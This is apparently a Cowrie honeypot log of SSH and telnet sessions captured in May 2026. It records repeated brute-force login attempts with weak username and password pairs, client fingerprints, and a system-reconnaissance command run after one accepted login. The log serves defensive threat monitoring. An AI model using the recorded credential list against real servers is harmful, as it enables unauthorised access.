{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58586,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6cbf4ddda7f","protocol":"ssh","message":"New connection: 176.65.139.103:58586 (10.17.0.5:22) [session: a6cbf4ddda7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:33.907443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:33.911934Z","src_ip":"176.65.139.103","session":"a6cbf4ddda7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:34.004684Z","src_ip":"176.65.139.103","session":"a6cbf4ddda7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:34.279214Z","src_ip":"176.65.139.103","session":"a6cbf4ddda7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:35.423710Z","src_ip":"176.65.139.103","session":"a6cbf4ddda7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.7821888923645,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:36.385483Z","src_ip":"185.26.126.47","session":"8e7c75643efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58620,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dcdae5d5d73","protocol":"ssh","message":"New connection: 176.65.139.103:58620 (10.17.0.5:22) [session: 2dcdae5d5d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:39.929987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:39.934616Z","src_ip":"176.65.139.103","session":"2dcdae5d5d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:40.016406Z","src_ip":"176.65.139.103","session":"2dcdae5d5d73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:40.264880Z","src_ip":"176.65.139.103","session":"2dcdae5d5d73","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:40.844235Z","src_ip":"176.65.139.103","session":"2dcdae5d5d73","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:40.847117Z","src_ip":"176.65.139.103","session":"2dcdae5d5d73","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:40.977780Z","src_ip":"176.65.139.103","session":"2dcdae5d5d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:40.982294Z","src_ip":"176.65.139.103","session":"2dcdae5d5d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.02167105674744,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:42.866279Z","src_ip":"185.26.126.47","session":"11435543c6b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46232,"dst_ip":"10.17.0.5","dst_port":22,"session":"95909cb842e4","protocol":"ssh","message":"New connection: 176.65.139.103:46232 (10.17.0.5:22) [session: 95909cb842e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:46.182801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:46.191814Z","src_ip":"176.65.139.103","session":"95909cb842e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:46.282113Z","src_ip":"176.65.139.103","session":"95909cb842e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:46.587254Z","src_ip":"176.65.139.103","session":"95909cb842e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:47.692745Z","src_ip":"176.65.139.103","session":"95909cb842e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46250,"dst_ip":"10.17.0.5","dst_port":22,"session":"242d9d620cc8","protocol":"ssh","message":"New connection: 176.65.139.103:46250 (10.17.0.5:22) [session: 242d9d620cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:52.201720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:52.212793Z","src_ip":"176.65.139.103","session":"242d9d620cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:52.294349Z","src_ip":"176.65.139.103","session":"242d9d620cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:52.734229Z","src_ip":"176.65.139.103","session":"242d9d620cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:53.932221Z","src_ip":"176.65.139.103","session":"242d9d620cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53522,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f017716ac49","protocol":"ssh","message":"New connection: 176.65.139.103:53522 (10.17.0.5:22) [session: 3f017716ac49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:58.386181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:58.390626Z","src_ip":"176.65.139.103","session":"3f017716ac49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:58.471657Z","src_ip":"176.65.139.103","session":"3f017716ac49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:58.715988Z","src_ip":"176.65.139.103","session":"3f017716ac49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:59.873317Z","src_ip":"176.65.139.103","session":"3f017716ac49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59276,"dst_ip":"10.17.0.5","dst_port":22,"session":"38c5df54ad75","protocol":"ssh","message":"New connection: 176.65.139.103:59276 (10.17.0.5:22) [session: 38c5df54ad75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:04.639329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:04.644404Z","src_ip":"176.65.139.103","session":"38c5df54ad75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:04.730009Z","src_ip":"176.65.139.103","session":"38c5df54ad75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:05.114964Z","src_ip":"176.65.139.103","session":"38c5df54ad75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:06.201275Z","src_ip":"176.65.139.103","session":"38c5df54ad75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59584,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bf8b35add8c","protocol":"ssh","message":"New connection: 159.203.92.129:59584 (159.203.135.109:22) [session: 3bf8b35add8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:09.093455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:09.097817Z","src_ip":"159.203.92.129","session":"3bf8b35add8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:09.101941Z","src_ip":"159.203.92.129","session":"3bf8b35add8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"55555","message":"login attempt [ansible/55555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:09.113867Z","src_ip":"159.203.92.129","session":"3bf8b35add8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:10.121018Z","src_ip":"159.203.92.129","session":"3bf8b35add8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59292,"dst_ip":"10.17.0.5","dst_port":22,"session":"2938f1f7f140","protocol":"ssh","message":"New connection: 176.65.139.103:59292 (10.17.0.5:22) [session: 2938f1f7f140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:11.825915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:11.920482Z","src_ip":"176.65.139.103","session":"2938f1f7f140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:36:11.924006Z","src_ip":"176.65.139.103","session":"2938f1f7f140","protocol":"ssh"}
